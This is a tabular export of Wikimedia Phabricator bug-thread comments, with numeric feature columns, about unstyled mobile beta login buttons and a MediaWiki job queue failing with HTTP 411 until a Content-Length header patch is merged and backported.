324624,Login page buttons looks unstyled in beta,"Thanks kaldari :)

Mail already sent :( https://lists.wikimedia.org/pipermail/mobile-l/2014-October/008205.html",,,1414171944,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.111111111111111,1.0,"Thanks kaldari :)

Mail already sent :( URL"
324619,Login page buttons looks unstyled in beta,Agree with Jon that it's probably not a blocker (since it only affects Beta).,,,1414171871,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,17.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,Agree with Jon that it's probably not a blocker (since it only affects Beta).
324615,Login page buttons looks unstyled in beta,Not sure about it being a blocker. It only effects the beta mode of our site and no functionality is broken. Can you flag to the mailing list? We can make a decision there whether this needs a lightning deploy.,,,1414171207,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,9.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,9.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.8863636363636362,0.8863636363636364,Not sure about it being a blocker. It only effects the beta mode of our site and no functionality is broken. Can you flag to the mailing list? We can make a decision there whether this needs a lightning deploy.
324608,Login page buttons looks unstyled in beta,"Change 168615 merged by jenkins-bot:
Use login page design in beta

https://gerrit.wikimedia.org/r/168615",,,1414170123,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,1.0,"Change 168615 merged by jenkins-bot:
Use login page design in beta

GERRIT_URL"
324602,Login page buttons looks unstyled in beta,"Reproduced on betalabs and mw.org (1.25wmf5), makes it to a blocker.

https://m.mediawiki.org/wiki/Special:UserLogin?mobileaction=beta",,,1414170091,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,1.0,"Reproduced on betalabs and mw.org (1.25wmf5), makes it to a blocker.

URL"
324600,Login page buttons looks unstyled in beta,"Change 168616 had a related patch set uploaded by Florianschmidtwelzow:
Use login page design in beta

https://gerrit.wikimedia.org/r/168616",,,1414170046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.95,1.0,"Change 168616 had a related patch set uploaded by Florianschmidtwelzow:
Use login page design in beta

GERRIT_URL"
324598,Login page buttons looks unstyled in beta,"Change 168615 had a related patch set uploaded by Florianschmidtwelzow:
Use login page design in beta

https://gerrit.wikimedia.org/r/168615",,,1414169867,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.95,1.0,"Change 168615 had a related patch set uploaded by Florianschmidtwelzow:
Use login page design in beta

GERRIT_URL"
324597,Login page buttons looks unstyled in beta,"(In reply to Jon from comment #3)
> Created attachment 16886 [details]
> In beta

Argh, yeah, my fault, i haven't seen, that i'm in beta :)

**Attached**: {F14881}",,,1414169709,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,7.0,12.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.558139534883721,0.7674418604651163,"(In reply to Jon from comment #3)
QUOTE
QUOTE

Argh, yeah, my fault, i haven't seen, that i'm in beta :)

**Attached**: {F14881}"
324596,Login page buttons looks unstyled in beta,"Created attachment 16886
In beta

**Attached**: {F14881}",,,1414169579,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.8125,"Created attachment 16886
In beta

**Attached**: {F14881}"
324594,Login page buttons looks unstyled in beta,It looks funky in beta but fine in stable.,,,1414169564,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,It looks funky in beta but fine in stable.
324593,Login page buttons looks unstyled in beta,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/UApsh7Kd",,,1414168212,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
74274,Job queue not running (HTTP 411) due to missing Content-Length: header,"I recently upgraded from 1.20.8 to 1.23.2 and it now appears the job queue is not running, though manual runs of the runJobs script do work. The wiki debug log has messages saying:

[runJobs] Running 1 job(s) via '/index.php?title=Special%3ARunJobs&tasks=jobs&maxjobs=1&sigexpiry=NNN&signature=NNN'
[runJobs] Failed to start cron API: received 'HTTP/1.1 411 Length Required'

It was suggested on the IRC channel that others are seeing this too and that I should file a bug report, so here it is.

--------------------------
**Version**: 1.23.2
**Severity**: major
**OS**: Linux",Needs Triage,90.0,1413831300,1414709347.0,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,False,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_description,resolved,True,c3,1,False,False,True,-37,True,0.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,3.0,5.5,0.0,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,1.0,2.0,2.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,1.0,1.5,0.0,0.0,1.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,3.5,5.5,6.5,0.0,2.5,0.0,3.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,1.0,3.9563492063492065,0.7710813492063492,"I recently upgraded from 1.20.8 to 1.23.2 and it now appears the job queue is not running, though manual runs of the runJobs script do work. The wiki debug log has messages saying:

[runJobs] Running 1 job(s) via '/index.php?title=Special%3ARunJobs&tasks=jobs&maxjobs=1&sigexpiry=NNN&signature=NNN'
[runJobs] Failed to start cron API: received 'HTTP/1.1 411 Length Required'

It was suggested on the IRC channel that others are seeing this too and that I should file a bug report, so here it is.

--------------------------
**Version**: 1.23.2
**Severity**: major
**OS**: Linux"
326703,Job queue not running (HTTP 411) due to missing Content-Length: header,Backported to 1.23 and 1.24.,,,1414709347,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Backported to 1.23 and 1.24.
326700,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:

Change 169965 merged by jenkins-bot:
Add Content-Length header for job queue requests

https://gerrit.wikimedia.org/r/169965",,,1414708429,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.7857142857142857,"**gerritadmin** wrote:

Change 169965 merged by jenkins-bot:
Add Content-Length header for job queue requests

GERRIT_URL"
326697,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:

Change 169965 had a related patch set uploaded by Poke:
Add Content-Length header for job queue requests

https://gerrit.wikimedia.org/r/169965",,,1414626007,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8387096774193549,"**gerritadmin** wrote:

Change 169965 had a related patch set uploaded by Poke:
Add Content-Length header for job queue requests

GERRIT_URL"
326694,Job queue not running (HTTP 411) due to missing Content-Length: header,"(In reply to Patrick Westerhoff from comment #13)
> Now that this has been integrated into REL1_23, should I go ahead and
> backport it to REL1_24 too?

Please do.",,,1414614832,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.8947368421052632,"(In reply to Patrick Westerhoff from comment #13)
QUOTE
QUOTE

Please do."
326691,Job queue not running (HTTP 411) due to missing Content-Length: header,"Now that this has been integrated into REL1_23, should I go ahead and backport it to REL1_24 too?",,,1414612301,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,15.0,10.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Now that this has been integrated into REL1_23, should I go ahead and backport it to REL1_24 too?"
326689,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:

Change 169734 merged by Mglaser:
Add Content-Length header for job queue requests

https://gerrit.wikimedia.org/r/169734",,,1414603507,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,0.8076923076923077,"**gerritadmin** wrote:

Change 169734 merged by Mglaser:
Add Content-Length header for job queue requests

GERRIT_URL"
326685,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:

Change 169734 had a related patch set uploaded by MarkAHershberger:
AuthorDate: 2014-10-20 23:40:20 +0200

https://gerrit.wikimedia.org/r/169734",,,1414600548,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.129032258064516,0.7741935483870968,"**gerritadmin** wrote:

Change 169734 had a related patch set uploaded by MarkAHershberger:
AuthorDate: 2014-10-20 23:40:20 +0200

GERRIT_URL"
326676,Job queue not running (HTTP 411) due to missing Content-Length: header,"Wondering whether that (merged in master) one-liner patch should be backported to 1.23 tarballs - setting backport flag to ""?"" and CC'ing Mark y Markus.",,,1413878300,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,12.0,9.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.90625,"Wondering whether that (merged in master) one-liner patch should be backported to 1.23 tarballs - setting backport flag to ""?"" and CC'ing Mark y Markus."
326671,Job queue not running (HTTP 411) due to missing Content-Length: header,Fix landed and was confirmed to have solved the issue.,,,1413848305,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,Fix landed and was confirmed to have solved the issue.
326668,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:

Change 167707 merged by jenkins-bot:
Add Content-Length header for job queue requests

https://gerrit.wikimedia.org/r/167707",,,1413847602,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.7857142857142857,"**gerritadmin** wrote:

Change 167707 merged by jenkins-bot:
Add Content-Length header for job queue requests

GERRIT_URL"
326662,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:

Change 167707 had a related patch set uploaded by Poke:
Add Content-Length header for job queue requests

https://gerrit.wikimedia.org/r/167707",,,1413841240,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8387096774193549,"**gerritadmin** wrote:

Change 167707 had a related patch set uploaded by Poke:
Add Content-Length header for job queue requests

GERRIT_URL"
326658,Job queue not running (HTTP 411) due to missing Content-Length: header,Do I see it correctly that a `Content-Length: 0` should be correct there since the request body is empty?,,,1413838677,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,1.0,Do I see it correctly that a 